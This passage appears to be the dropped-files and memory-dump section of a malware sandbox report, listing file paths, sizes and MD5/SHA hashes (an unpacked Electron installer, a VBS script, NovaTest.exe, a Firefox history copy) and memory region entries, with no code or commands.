245KB

MD5
63a7fdc4eadf8ef1c35c72468a0ce33f

SHA1
e8d064f0e9c8a6a8c6ccb036711e292d011d9466

SHA256
e549ff4e5a094d04c2ce7bc6fd68bea1f03e935437bf164bebb6191c133fa70c

SHA512
0a097ff875132a984545ec677b04f97785f14c38a1df487cfb4722cdea07d14e1e88fcff7d58b82fa53f05f4eba779a95ef320b5a91692097726d0385a26a456

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\he.pak

Filesize
151KB

MD5
6a02a37e1ca3215fa9ee0e1b0fbcf5e7

SHA1
89a8a126c0bbf536ac58e29fc50e045fb1b88220

SHA256
f5cf34ce58b7f0d450936981aa7ffa060821403e6768eee3746ea4ffc9193986

SHA512
6607eb2329b81f1eaf0ed3a564eddcb30e6ab59229f2fbf6fd3d2140ffaa8853a330eda627a4458ef6bb06f32c5183edda869e34cd4ead1f87f88d5c622c1a16

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\hi.pak

Filesize
253KB

MD5
590e9e73df9cbd83cd87b9c03848fec9

SHA1
da125e60a5a2c51a2d6219d3f81688bd22237b59

SHA256
089b9dd31090a987515809a68d26f6eeb64cd9283934e3dcc48b151eec7d3ad9

SHA512
fd0e5d0f2063e12b711275f390428b88f98ffaf6043cdb14b13674ac1e4aa9f70ae820ae960132d7155daf9b1308238775c4702694ab53068cdc709c50f9186a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\hr.pak

Filesize
119KB

MD5
6f92235e6ba003af925a2d6584afd27d

SHA1
3ceba61e9c2975466b6244188f5ea72aaf042fc7

SHA256
479dc4f75a889d45f62b4ddb6eb48f21c473e37875468c9c26d928a263e15840

SHA512
82f2642dff4400704c15c2fa02d0ec74ed3fe888dc835447c1afce7463dee8f480bb81be358c306e681625864a6d25e5cd6c96252b8a56e6fc62014b3aa4d26a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\hu.pak

Filesize
129KB

MD5
71d42cb22d2d7a8b26c4514ab12df3aa

SHA1
cd0307503a7906f1742d1e98fc816959319c2171

SHA256
b51bcb888dbc27bab88a8c9d081df7496de8a9a5a4cd2cfe08abc154190e75e6

SHA512
29c67391bca706807be3a0cc79fe481f220e30263957a9c2485f0a4c498a5b250bdd83b5f4fad8d0b19c8a9a07d5650b5ebd5816b6aae311a1cde78a89303244

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\id.pak

Filesize
108KB

MD5
e40cb2f3b4db379e4d187aeef0dfd300

SHA1
537b1ebc615c980c89bbe2b9e91a11199fa7d6a6

SHA256
3339ef011c9bb64868da94adb25f4490acbc7f893e4337dbfe2797754cd659f5

SHA512
b87464460077aa55feb92eca8ed23d9a61829378bae7890c8a95dac5fcd735b145d65661f27facfe2586fcaa169692b00d8ee8dd505dc44bff7f7fd090f3e96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\it.pak

Filesize
123KB

MD5
5aa225aad4f9fe6d05ec24905a827d88

SHA1
f6d5ed337bd8e9cc3b962d3a498e3430fbf6de22

SHA256
96e02ab6937a1f1cb58762159761a737ce0e1dcd6a253554392baf4389326eab

SHA512
3fa928f19bdf65b8fbb274b478a801821b15c01224c113a8d7f6121a077b432c0cc84eefd9028a76adea9fa4bb65dcb868edfbd4368b1e4d477c49e187e4288a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ja.pak

Filesize
143KB

MD5
833e8c4aa70351b6be7bd403e4e9a0a7

SHA1
46ccdbdea35deec8ef13a5fc833776875fad187b

SHA256
74422db1a5f28522f9a8b31a3bee9a6df794b419bf723cb6a6c88e82eb72cec0

SHA512
e8e709612a5ea81d2822e0025b7306f38571f2cec2ca72ac5a8ab852a0e36a0f5bc7e00d0baf7ac7becc2c54dda3a17c52ec1cd67ce12b14d91b6ae0b726d556

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\kn.pak

Filesize
111KB

MD5
2556936ffdb583a5582f544c1383233b

SHA1
16518d6e74aa1148e197ab06b82af76f14d06b34

SHA256
1c70ab41e266e489ea326d2a1d50c787a066be59c32d1e7e7f51fcaadb48ded7

SHA512
a11d42d7a6db972d2a73a3b02fcf31d645f286da09841ced2c9b970e5e8c799e2877916574fd7cec507118e078a662a8221b126d29dc77d6fb24a62425acd7ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ko.pak

Filesize
120KB

MD5
d6e2c18c9eabba59b50d147d942125ea

SHA1
0918879203c2050b4f9f449f5616e430897ba0b9

SHA256
f3581cea2e5b022b121010ffc5d67f86f717e3a0c0402abd81e24c87fd135b76

SHA512
f605f7b9893166778af156f9eb76eaa1209e7432450899540cd462ce0ffa69caf6f570b910cdd6d7bef54354379e9892a658e711baa93241da33755c107da859

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\lt.pak

Filesize
131KB

MD5
2d4fca437a7548893dc4b51fa5b33c33

SHA1
c1493013d7d981ea9223716e415380992de65c2f

SHA256
776dba792df7b444e1b720326312d8b8312cade74a1372c49456d932b7c65769

SHA512
b6a55ee1deff48d717a3e9399aef3c45eeec810cc5b5709fa3e9f56850115a5b02e02b7959ec77a6797e68516ee9372bacd260e62ac0d55a8e4c1c27af782b42

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\lv.pak

Filesize
130KB

MD5
264c6e20b3088ceb4dae5773cef0cb55

SHA1
fb6ff83ff14df008092bc3ee73bda7491e8e090e

SHA256
a676a781c1a587eadf23e5c69bc52f2d352346a70bc53ca908450362535eefda

SHA512
01e949f92e1e8599c581929a601d39640abaf1d907ce10102e591c3d490dd3874c679c75bb51308ead55a3bd0c6dcd1b8d4b2daf98ce1cf1c6bab42946e8b1e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ml.pak

Filesize
292KB

MD5
04b2540c25990a5e0a9b227dcce6ae0d

SHA1
4f8ccd154f54dfb083d4d1a3ed0994842c8ab13e

SHA256
556165b8b54c6e21bc66d12b3f5be393136714467c427f7114f314d18ad3c661

SHA512
4cab47e42e8f5d4a83851871f97f3e1360c993ba530dbb4b4b736350779784bd83189e1195d3480ce87298bb8f9b7f249fefa7764d850e5b0002895609626785

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\mr.pak

Filesize
240KB

MD5
f22c99fe6a838e333e8ee06a4d01296b

SHA1
c3542ea8dd45a2b387dd02fa5687948f135e10f2

SHA256
b03a3042f907aed13253ae8083d08f5fad59ff438d024b097276856e72526911

SHA512
882022c2cb985d85f96d52c9bcfeeb089d6ff30e66187ccf424ef622092b9d359a51bdef1fb6ac3b9d3409aa79d37ca737ba7f3ed8b9cdaabfe04d90a7c8bc15

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ms.pak

Filesize
111KB

MD5
6cfadaa784e687e6dadbcd80e631bc9b

SHA1
481acb75f525055bf4e45ecabe0eadcb9c492106

SHA256
fb5e125dd5e1f21e8df229d22cb3d1f9078bd79bbddca352899248f2a8b21b71

SHA512
0d7da5a90fe9372bc704ab8cdc8cbfb14d323cafdef856987e2d9e34d980196c03985e25099f5d1bcb10c97f040f4766e2c3713718649bb3f43914a77f0dbb39

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\nb.pak

Filesize
110KB

MD5
b61e42f66d581b6a8929cdf5fb10662e

SHA1
6f06fa9ee092fbcb61bbd668734fb3b92cfb549a

SHA256
1b17dcde8fc7308d926fbe0faa83dfc9ffe2efc5715e9afd557dde839ad98b7e

SHA512
79b82346c3f133a6ba44148a8432ad4e08e2805187b759509cb386bc800fd20215592c07d953812c243f0b1d5e1354245f2cb42b2b3eb6c87280bcb4008dbe97

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\nl.pak

Filesize
114KB

MD5
cf6b1cbfd669e9461553974ba37a475e

SHA1
b33867e9bc7fd88ca98a76dc4bd756bcf18887aa

SHA256
9a83ad866ad7fd9d65ecbc1e95c276cfce27e8257c76a16950fd14971e66b864

SHA512
e463029bb37f6bb3ff5cb6281f64291ada1b785fa33137e7aedfc7b5e409e99c75a91e7cf9b6c0933e970f70c14861190de66fc5d68925b687a6f5da02e21077

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\pl.pak

Filesize
92KB

MD5
911e5536c34ae23f533147a6c4b51f60

SHA1
b1d48a15f753f8b023a68afdf17c8b920976d48c

SHA256
751162ff4dfae1451bb2f99f6affa71d0969bcd90aa8ce0788c7224a689aa588

SHA512
94e756647a91d88678423abd8a7d8a18ada48acc0766ba9c452b44923c617da2c1ba3c6fe54e923f79d5b86229ef0c0ca66a3aaaeb969d1eefd0ec436a78669b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\pt-BR.pak

Filesize
119KB

MD5
88ad860c73676ffb4025b5c691f29942

SHA1
3c5e5b999ea7153ccdd1b4cc7b6162de3456b558

SHA256
25f0bb0b0230d99a9064d52668636f3be85903bf27a68124d79a2fe93c30fe0e

SHA512
41589bb9ab1b8307f62ceb4e6493d7903731a3e63807e0044379c4acdda881c21839234f5f1b8ad1af732bfee6231c0556ce92e582505379ed949980185bb750

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\pt-PT.pak

Filesize
123KB

MD5
ecd84b296d3bb312ee18e21017311986

SHA1
f5625523f85c10723750834a54ff59a2dd886fb3

SHA256
fcfaa9c44c445876c286388b6a1abc1df949f3dda3d64fb57d6e0d54a05cdb94

SHA512
e95b74238220024cdd0bd1c0f18beadbbe427d76cd8d6b32d5700adcd34ffb068ad0bf75404921485c8077f395f5111cd40d5dfe2b5b8f34c62e6fc80b507456

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ro.pak

Filesize
122KB

MD5
24b01a438a3ab9699d4ca97c081b5e82

SHA1
0d0b082544d23425a74199fb0a6c11192f0bdf7d

SHA256
38290b1c9712296d82ea1681ef95544a1eef4872289134b11e50af735e6deaca

SHA512
43199772312156f4633c4202499cde8f808e5e632c2013ec1129acee01a3f184e86df2616626173178efe04b6f0773ad9a0e8b8cc6a735d23d68dcfe9dfd945b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ru.pak

Filesize
186KB

MD5
b407d9b0644b9fbff275eb5d1870ed74

SHA1
90bad92e2db3561ddbdf09e5c59963fdcb1e3aaa

SHA256
f2c0c8df7dbe204eade0a4fb0f80390bdad9574931664d98e30c39729f146116

SHA512
6809e527187ca61592058a7b2b18438e4b5e28483b4e95daca4ec9e3b54ec6ab31abb011e740858a5ce1d07db26e2a0066e82b8e432a5e7c0bfd3888c1166f0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\sk.pak

Filesize
127KB

MD5
b35daa0bd9627ca88b413a5af7c6b4a4

SHA1
d5efdcbc7ca17de29f3075f6434f31ab2e895826

SHA256
f47bc1f7f5ab64681d0b152e1a019da60f0ef057ee8bf2ccede019dc4030c177

SHA512
48abb6ca2290820db2898b05820bb25e70fb1292c816eb0c8f17b3c5452de9fff7027d216d2bf413900f408f44ed4ac99151b28142a212c5cff8dfe229e87b9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\sl.pak

Filesize
48KB

MD5
d2e748c379ed4133117dd6652db4f608

SHA1
e68652749477dd7ac491275e5c0f8eaea3069d56

SHA256
632b64cc7f2cf3b200a601abacc9207ed752159917ce609de7991d1bb23da6bc

SHA512
ed5b93f8c754d69aa1ab165d8fa1a17362d57e9d0afe84fbe65fb36dd9b42046928c627492afa9571125527c66aa9f6b7259b62ea1f692ce9998741d242d91d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\sr.pak

Filesize
185KB

MD5
af7083f2a4bd95dcbe792efade352662

SHA1
dc69aa831836016f6e66c6079931503d534a7862

SHA256
e3b80d9fdd420a05d66cc12e685ac94500106dd51a555bbfa2d085094f81e8dd

SHA512
342400ba94f6cd08152f96aa2b905184fab429c38cedb4bcb4ac0c503169a9ecd47aef208b4d7ffae08b0c0afa7aa089347a20739379d05f3e4e111be842b8c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\sv.pak

Filesize
52KB

MD5
e44de4d458000a0414c1df41d201f652

SHA1
0e28348057a820040d5db520669346a19ea79430

SHA256
86b1881a3943b7ee061ab1a7f28d71644483f369febe2aa337f08692a3953de2

SHA512
9bf0ce04e6150f2fc7da54d5244286ae8630a724e589806b14725c240a83e771e9ac2c69488f3beee1b0cdc99396f8ca47c981c6efc90f892cac6cc37b6147fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\sw.pak

Filesize
114KB

MD5
99e385ebc1ef8d3daddb3a171fa79edf

SHA1
3164804dfe9d9b5e891abafe92e5ba67d2b5d4d1

SHA256
8ec45ac391a085d531fb21815086c2da4841aa016653cb4f8484cfc2615d6c01

SHA512
797c105fecef1e15870aa101e3fa1835d5a467a9059c03b3636c54934d1de263ab7f23599e21d9787cb3849c7cb7d29f5bdd8ae9ad10fda8015c1392462e94c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\ta.pak

Filesize
222KB

MD5
db23e71e9f03c423ddd5293748c20f4a

SHA1
7dc39318ef2c7e15831f80dca0ce91e8066933ab

SHA256
3f91e69482e660de17eaeecce06e905751559df66d2b65e99d6ac113e8d6b80e

SHA512
51c062f42e932c246686b530ba85ebd581e58698ce2c7c28b4f647bf0c0d243af50d4cc4f819f68de3a82e50f01a2bf970affb7218d40199f6ab140810a53b4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\te.pak

Filesize
241KB

MD5
d13f90aa082118daf8c4a052a19acf86

SHA1
d46303373a7c6ceeede8c8f03881d83628c42cfa

SHA256
13538fdc60dff03c2aac169b8f65dd9377dba0fbd6eac42d1e9faadc7414a643

SHA512
57b77ae5ab40046fd698c3e62764ff2e981d94d607c10a24baabeb772fccbbd03a32e8be0dc78e7f48a43511e059bf4a63334ea3d638d297781aafd531cf7083

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\th.pak

Filesize
227KB

MD5
43edd25f67ce6e6cea5373009ff0a1f8

SHA1
ed72ca6620cf23837e1334be50ccf616806bc5a2

SHA256
287897cf3df2db1cf59b872e6575ba8dfcaa0c1f68c17a9c91da6c4490adb8b0

SHA512
7160a72bd2e6b0ffa71e5d279995cc8be24a87cd9386eb29ab0eee79b8e607f5d824a11b6b4e3ef4c0f851a9d485a9642cb6adaa65c07933dca6e6f2c0052fc7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\tr.pak

Filesize
117KB

MD5
40491896ad21543f339467186c5efb40

SHA1
695dde7cc35056dcbf0a533aff8299d4c6b61bd8

SHA256
43e99e132acaba88971b81a43531845dc7fc3a1e0794c3373de7d9a50a5655aa

SHA512
18d5ee9914849462e0b1bafd1ca216b29d0795e282ae0bdb354b15caf5c18f37f44fbd6f626b2cbb095e3398a6496de72e5b0d15621433979b5a589e34fac818

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\uk.pak

Filesize
35KB

MD5
5294fafdbcac7b5bd05664b2a0bce796

SHA1
3c53c84cfa1ced596b4071396102885ab6c4b161

SHA256
7981ec758c5a150184c43395069f6493514ae91dd09d7575e3dd6ec4ad01eaf6

SHA512
6162fa412d1dfb4aa87825d928c017ba0af39ee8377c3af28dba07b91a73b08dbf29193f41ace7012f1b4625e7fa97ebafe71b31e18dc0cb0f673c9608cb2faa

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\vi.pak

Filesize
106KB

MD5
cd6616edf31a24315bbdf042331315a5

SHA1
ba8e607dae319c4a83c539dc11fb1056f7fe9f21

SHA256
cd9dfcb9a79fef67916c2973957336f81bfdc2033fdb168e02367571ba119471

SHA512
8548444792628f3029f8baca72d032aa982d74744033242f27bf0a16fa4123fa770fe00c35d5568db43627e02bece65774fe52100d66d020664e7f82850ad4a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\zh-CN.pak

Filesize
38KB

MD5
a883f2af14a324a53fcbd253f78d61e3

SHA1
adeca56cc752b30deae345300d45611858ca2c7e

SHA256
67a937f8e91dcc14f2151112873cb6021b12328bc2fc2ef9db80e6acd6ba316b

SHA512
50ee3169d9e28228a843c2d4e02cb17fda09921787dff74c2bd473bc25489814247780b916d5b6b9ca2eeeaa7e6bf4264d6a5fff08fb12ccf3dea1b47ba3abd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\locales\zh-TW.pak

Filesize
101KB

MD5
c2c35fcedc3708b5bcadf36587393002

SHA1
31d72402cbd44ceb921cedd806259c2cd14e411f

SHA256
cfe4c2c5eb131fd92e0d11f912714c5a9a048833ef3ffbe32679b3d58da8f8ac

SHA512
9ba3ea2d569d1d3ef09e94d7e66f843c8804368c4d016b6289e7dba002f7d2d50884a76c93eef879d87abcf8b36dd3e682b7bd3a18b2b5a969256cef672abf01

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\resources.pak

Filesize
85KB

MD5
bf7d432bf826d4287bd002edc8acfbe4

SHA1
2b35d3a0dc239c389df01139d1bfbfc2c323d227

SHA256
ca1a1f973b88616648793d7036614260a3652d24d7948a446ba24bae1be9d46c

SHA512
f8032545f15b1e8a97d24dd429ba3da4bc62fcf63d4e8a615e11e72a808b9e2c21ce931959af3313ee23021b9d85b04db65fc6fa8cad7d95556c5fef38d02a17

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\resources\app.asar

Filesize
319KB

MD5
bd5eebfe3e806384654c9f50766f5eaf

SHA1
d168be4ca9113b8654fa9c3695c6a073845cb492

SHA256
284ca2280ad4fec1169d7ccfc9a88d024d360ab4e4f1b3cf07db63eab8a2ec1d

SHA512
91a99de1b87f14ea6f97a392b5d561c5d2736527b6f81d4c604343d1908d2a2a285cf45520aac2a0653aa1d95d821a266b9a85ed5ea9c5c7c07da8f71b78baff

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\resources\elevate.exe

Filesize
105KB

MD5
792b92c8ad13c46f27c7ced0810694df

SHA1
d8d449b92de20a57df722df46435ba4553ecc802

SHA256
9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37

SHA512
6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\swiftshader\libEGL.dll

Filesize
375KB

MD5
291564bfef10c250aa80592d8895a440

SHA1
1dc9f83799a7145a95bcdeaafd8c92b1e164adc8

SHA256
d44db117080fa2427d5dce1cac96a59933fa515a6dff9933ef9add124bf906d0

SHA512
0f27d7ca6a1b3dd7c215b6e68b237ea9c1c63c13364c985626022c7ab9926cb64b9ac0d43542df45fb56283dac91b3a9ffc923faaad7fddb6ef18054c76272bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\swiftshader\libGLESv2.dll

Filesize
424KB

MD5
c90677f082faad8039a09a13982495d3

SHA1
230e99ae29476353d80d125c17f5560a89bb997d

SHA256
010290d3f3e2404d64aeabedc27058ba95d65c1f7ab68f66b212a568e36c8393

SHA512
7ed70c1ba67029d1ceb74df45c1c346af14e7e58cb34cbbf30420f8f40dce306b5d3c66ecbe260e05b9401bf9b61ad93f783a00943df05c65964c343ab8ea04d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\7z-out\vk_swiftshader_icd.json

Filesize
106B

MD5
8642dd3a87e2de6e991fae08458e302b

SHA1
9c06735c31cec00600fd763a92f8112d085bd12a

SHA256
32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9

SHA512
f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\StdUtils.dll

Filesize
100KB

MD5
c6a6e03f77c313b267498515488c5740

SHA1
3d49fc2784b9450962ed6b82b46e9c3c957d7c15

SHA256
b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e

SHA512
9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\System.dll

Filesize
12KB

MD5
0d7ad4f45dc6f5aa87f606d0331c6901

SHA1
48df0911f0484cbe2a8cdd5362140b63c41ee457

SHA256
3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca

SHA512
c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg7BB9.tmp\nsis7z.dll

Filesize
424KB

MD5
80e44ce4895304c6a3a831310fbf8cd0

SHA1
36bd49ae21c460be5753a904b4501f1abca53508

SHA256
b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592

SHA512
c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

Download Submit
C:\Users\Admin\AppData\Roaming\EhvcFEntDxbs.vbs

Filesize
123B

MD5
40cbb570117fbfc57d3b79eeb5e05d57

SHA1
df9fb94cedfa740ae7d0a9aba693b894bd6fcaf3

SHA256
28480cd72048bb1c697643859c3203117c9d6aed9507641ada38a32b1f864456

SHA512
ce7788ea6d57a3a5d9d5e8efac7466b90b9f84ff108428062fe864c14aa44bc04a2f26f8d5c6cf903689d858a1ce687d1c74b839d15a4b5be32772a80ec984e1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3HXI5GTRWDEX71II2PRX.temp

Filesize
6KB

MD5
5664c9ad21d7cbaadedab2e924f359f8

SHA1
73e6c7cb6e56c426ce777c4f9a14abdc67e84d24

SHA256
ca4ceb27e7aa96240d1fdd376e699d5159ab4690975b4775db1dc3dc9d124057

SHA512
871a1ae6748f90dc810e8e7989dba8ba5f7294d6147686d43ff1a3532c48f330ab5c545c5d7012fc9266a8d10814f48f0cded8281a2c646deb740b7ea760b298

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
bd210a97f283caf3f83541cf6f2b54b4

SHA1
3b63ed861b281f30efa6339d63482a161466a600

SHA256
d1ab22aac29a30c0a24c83018957e0c0dd5129aa4d09addb97baf8f229f4ace4

SHA512
3861977264267000afbdb27f4afb129e7231fd8f23fa04a974c78b0acee341a4b30571f48e23445026459d4ab448ce141ff9bb01eb122e519595b79e597c917d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
76ff273fb0550299defb3004d47bd8a5

SHA1
7867b32cbdfefec9ab86c54d9ca8379fd13c6d8a

SHA256
94e0ecf111dc7413fa486911d5f6cffdfc20deeecb250b491d820d30d8c35104

SHA512
abf11d1f53f89722605e32cdf4bb290e2fd1bc847090030b473e30addb9f95b2a7035b344021cd1c251bf360203778f46e32c0e7a1edf458385e1cea1a702fdc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\THUZUJH1H0R9DPIZ538E.temp

Filesize
6KB

MD5
03ffdc410de8dbf6049ab101d0e95ffb

SHA1
de0033e982442399610d7914335fda6f95787b8b

SHA256
9ca6f43973cb0c7f307f43de1f91488e4efb39ca9aad5ab339f74a8f9bd04c9c

SHA512
48a070eac1cdf990a5d10b6173426d612e8923b959aef80ad16ad2ec9edc0fceedf1b532fc3a5332f945804d48de2e61d18e3104c734715864b4b67ed950d2ff

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\NovaTest.exe

Filesize
80KB

MD5
4b47a76893f190ad8273486d58aa1d37

SHA1
670444c6f8a38f46a47cb54675667ba9ee160cbe

SHA256
c09790a876728085f12ccec99fd50a2c1052366997226eff5a30ee085eb00baa

SHA512
9fd4f4224ee931340535261b50ce99cd27fcb8478a6c8b9cb12f537afdca72220df0ec24b8f57f4b826842e39f25c7e53c55beb08fcf941e5064d59ababe191b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\s5jf5e5i.default-release\places.sqlite_tmp

Filesize
106KB

MD5
bde924f6e62584b58ab3eb513d659ec8

SHA1
54ad3eaef4bee7eed2cdc9fcd58a594924504f88

SHA256
59796b924a9969196d71d9b398c76aeef6f7e49a8321b1c5dbe2b63967c0e65c

SHA512
d4da175defb18f4f61cfa1983ec8a38664a76bf6ccb8adeec13be7c4fe2a81f6e045701b3cfa240302776d63f095c2b722e511de76acf507499239e6f24ffe8d

Download Submit
memory/1840-554-0x00007FFB6ECB0000-0x00007FFB6ECB1000-memory.dmp

Filesize
4KB

Download
memory/1840-575-0x000001CFE94D0000-0x000001CFE9C0F000-memory.dmp

Filesize
7.2MB

Download
memory/4632-742-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/4632-743-0x0000029E6C1A0000-0x0000029E6C1B0000-memory.dmp

Filesize
64KB

Download
memory/4632-767-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/5744-871-0x000001EF3DDA0000-0x000001EF3DDB0000-memory.dmp

Filesize
64KB

Download
memory/5744-922-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/5744-904-0x000001EF3DDA0000-0x000001EF3DDB0000-memory.dmp

Filesize
64KB

Download
memory/5744-873-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/5744-870-0x000001EF3DDA0000-0x000001EF3DDB0000-memory.dmp

Filesize
64KB

Download
memory/5884-1006-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-1002-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-1003-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-998-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-1007-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-1004-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-997-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-1005-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-1008-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5884-996-0x00000234EA6F0000-0x00000234EA6F1000-memory.dmp

Filesize
4KB

Download
memory/5896-947-0x000001D44E530000-0x000001D44E540000-memory.dmp

Filesize
64KB

Download
memory/5896-941-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/5896-946-0x000001D44E530000-0x000001D44E540000-memory.dmp

Filesize
64KB

Download
memory/5896-951-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/5896-949-0x000001D44E530000-0x000001D44E540000-memory.dmp

Filesize
64KB

Download
memory/7224-934-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/7224-860-0x0000021A67AD0000-0x0000021A67AE0000-memory.dmp

Filesize
64KB

Download
memory/7224-868-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/7360-795-0x000001A7D6FF0000-0x000001A7D7000000-memory.dmp

Filesize
64KB

Download
memory/7360-838-0x000001A7D6FF0000-0x000001A7D7000000-memory.dmp

Filesize
64KB

Download
memory/7360-796-0x000001A7D6FF0000-0x000001A7D7000000-memory.dmp

Filesize
64KB

Download
memory/7360-921-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/7360-794-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
memory/8740-915-0x0000022A698F0000-0x0000022A69900000-memory.dmp

Filesize
64KB

Download
memory/8740-927-0x00007FFB4D780000-0x00007FFB4E241000-memory.dmp

Filesize
10.8MB

Download
